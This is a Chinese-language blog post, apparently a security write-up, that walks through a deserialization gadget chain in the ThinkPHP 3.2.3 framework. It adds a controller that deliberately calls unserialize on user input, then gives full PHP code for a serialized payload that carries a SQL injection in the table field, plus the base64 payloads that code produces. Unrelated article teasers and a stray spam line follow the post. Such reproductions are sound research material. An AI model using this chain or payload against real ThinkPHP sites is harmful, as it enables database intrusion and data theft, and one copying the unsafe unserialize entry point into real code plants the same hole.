<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ThinkPHP3.2.3反序列化鏈子分析

    一顆小胡椒2022-04-14 15:48:27

    前言

    目前官方已經不再維護ThinkPHP3.2.3,本文僅對ThinkPHP3.2.3反序列化鏈子進行復現,如有紕漏,還望指正。

    環境介紹

    • MAMP pro
    • PhpStorm
    • Xdebug

    利用條件

    • 具備反序列化入口

    分析過程

    首先在分析前,先新建一個控制器,寫一個反序列化入口

    Application/Home/Controller/HelloController.class.php中新建以下內容:

    namespace Home\Controller;
    use Think\Controller;
    class HelloController extends Controller
    {
        public function index($Lxxx){
            echo base64_decode($Lxxx);
            $a = unserialize(base64_decode($Lxxx));
        }
    }
    

    反序列化入口自己創建好了,接下來新建一個開始找反序列化鏈頭,因為大多數反序列化漏洞,都是由__destruct()魔術方法引起的,因此全局搜索public function __destruct()

    分析一下不可用入口:

    例如,像上方這種,就沒有可控參數,就不是很好利用

    通常,在尋找__destruct()可用的魔術方法需遵循“可控變量盡可能多”的原則

    因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控變量的析構函數方法:

    如果我們對img屬性賦一個對象,那么它會調用destroy()方法,這時,我們全局搜索具有destroy()方法的類,這里有一個坑點,就是在PHP7版本中,如果調用一個含參數的方法,卻不傳入參數時,ThinkPHP會報錯,而在PHP5版本中不會報錯

    而我們全局搜索的結果如下:

    ThinkPHP/Library/Think/Model.class.php中,destroy()方法有兩個可控參數,調用的是delete方法,同樣,類可控,delete方法的參數看似可控,其實不可控,因為下方全局搜索后,delete方法需要的參數大多數都為array形式,而上方傳入的是$this->sessionName.$sessID,即使$this->sesionName設置為數組array,但是$sessID如果為空值,在PHP中,用.連接符連接,得到的結果為字符串array

    $a = array("123"=>"123");
    var_dump($a."");
    ?>
    string(5) "Array"
    

    接下來全局搜索delete方法

    如果能夠滿足紅色方框前面的條件,那么我們期望能調用紅色方框中的delete方法

    上面分析了這么多了,保險起見,我們這邊還是先在這個文件下,echo一個值,然后將前面分析的鏈子整合一下,進行反序列化,看看調用過程是否正確。

    前面一共涉及到三個類,我們在Model.class.php中打印一個值,構造這三個類序列化字符串如下:

    namespace Think\Image\Driver{
     use Think\Session\Driver\Memcache;
     class Imagick{
      private $img;
      public function __construct(){
       $this->img = new Memcache();
      }
     }
    }
    namespace Think\Session\Driver{
     use Think\Model;
     class Memcache{
      protected $handle = null;
      public function __construct(){
       $this->handle = new Model();
      }
     }
    }
    namespace Think{
     class Model{
     }
    }
    namespace{
     $a = new Think\Image\Driver\Imagick();
     echo base64_encode(serialize($a));
    }
    

    輸出:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==
    

    傳給瀏覽器后,我們可以看到Lxxx被成功的打印了出來

    也就是說截止目前,我們的分析還沒有問題,那接著往下分析:

    ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我們期望進入下方的return語句中,因為此時如果我們對$this->data傳入,則該方法的option參數變相可控

    接著看這個方法,往下看,看看是否有可控的點

    上方紅框的位置$this->db我們可控,delete方法也可控,option值上面說了,變相可控

    那么我們就可以繼續搜索delete方法,注意,這個時候搜索delete方法和上面就不一樣的了,之前delete方法參數不可控,此時可控了。

    ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的點,我們跟進看一看。

    下方的sql語句可能存在注入

    這里直接對table進行拼接,上方有一個parseTable方法,跟進看一下,看看是否存在過濾。

    可以看到,這里parseTable方法只是調用了parseKey方法,再跟進parseKey方法

    parseKey方法沒有過濾,直接將傳入的參數返回,下方紅框處就是執行sql的地方了,在執行之前可以將sql打印出來,方便調試

    這么一來就可以構造鏈子了

    namespace Think\Image\Driver{
     use Think\Session\Driver\Memcache;
     class Imagick{
      private $img;
      public function __construct(){
       $this->img = new Memcache();
      }
     }
    }
    namespace Think\Session\Driver{
     use Think\Model;
     class Memcache{
      protected $handle = null;
      public function __construct(){
       $this->handle = new Model();
      }
     }
    }
    namespace Think{
     use Think\Db\Driver\Mysql;
     class Model{
      protected $pk;
      protected $db;
      protected $data = array();
      public function __construct(){
       $this->db = new Mysql();
       $this->pk = "id";
       $this->data[$this->pk] = array(
                    "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
                    "where" => "1=1"
                );
      }
     }
    }
    namespace Think\Db\Driver{
     class Mysql{
            protected $config = array(
                "debug"    => 1,
                "database" => "tp323",
                "hostname" => "127.0.0.1",
                "hostport" => "8889",
                "charset"  => "utf8",
                "username" => "root",
                "password" => "root"
            );
     }
    }
    namespace{
     $a = new Think\Image\Driver\Imagick();
     echo base64_encode(serialize($a));
    }
    

    得到結果:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0
    

    后記

    多斷點,多打印,多跟進,多思考。

    序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    java序列化與反序列化
    2022-04-13 16:35:35
    java反序列化指字節序列恢復到java對象。bit,則一個字最大為 FFFF。序列化是把對象轉換成有序字節流,以便在網絡上傳輸或者保存在本地文件中。序列化后的字節流保存了Java對象的狀態以及相關的描述信息。序列化機制的核心作用就是對象狀態的保存與重建。
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    攻擊者可能利用此漏洞獲取敏感信息或執行惡意代碼。漏洞概述  漏洞名稱Apache Dubbo多個反序列化漏洞漏洞編號CVE-2023-29234、CVE-2023-46279公開時間2023-12-15影響對象數量級十萬級奇安信評級高危CVSS 評分7.7、8.1威脅類型信息泄露、代碼執行利用可能性中POC狀態未公開在野利用狀態未發現EXP狀態未公開技術細節狀態未公開危害描述:
    它指的是一個有用的工具庫,幫助處理和操作XML格式的數據。ROME庫允許我們把XML數據轉換成Java中的對象,這樣我們可以更方便地在程序中操作數據。另外,它也支持將Java對象轉換成XML數據,這樣我們就可以把數據保存成XML文件或者發送給其他系統。
    URLDNS鏈子是Java反序列化分析的第0課,網上也有很多優質的分析文章。筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現將字節序列轉化成對象。測試源碼如下,此部分源碼參考了ol4three師傅的博客:package?將輸出字節流寫入文件中進行封存。讀取字節流操作為readObject,所以重寫readObject可以執行自定義代碼。影響的版本問題:與JDK版本無關,其攻擊鏈實現依賴于Java內置類,與第三方庫無關?
    接著定義 Person 類實現前面的接口:public?XStream 序列化是調用?unmarshall : xml-> object 解碼兩個重要的實現類:?Mapper 映射器簡單來說就是通過 mapper 獲取對象對應的類、成員、Field 屬性的 Class 對象,賦值給 XML 的標簽字段。Converter 轉換器XStream 為 Java 常見的類型提供了 Converter 轉換器。EventHandler 類EventHandler 類為動態生成事件偵聽器提供支持,這些偵聽器的方法執行一條涉及傳入事件對象和目標對象的簡單語句。EventHandler 類是實現了 InvocationHandler 的一個類,設計本意是為交互工具提供 beans,建立從用戶界面到應用程序邏輯的連接。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类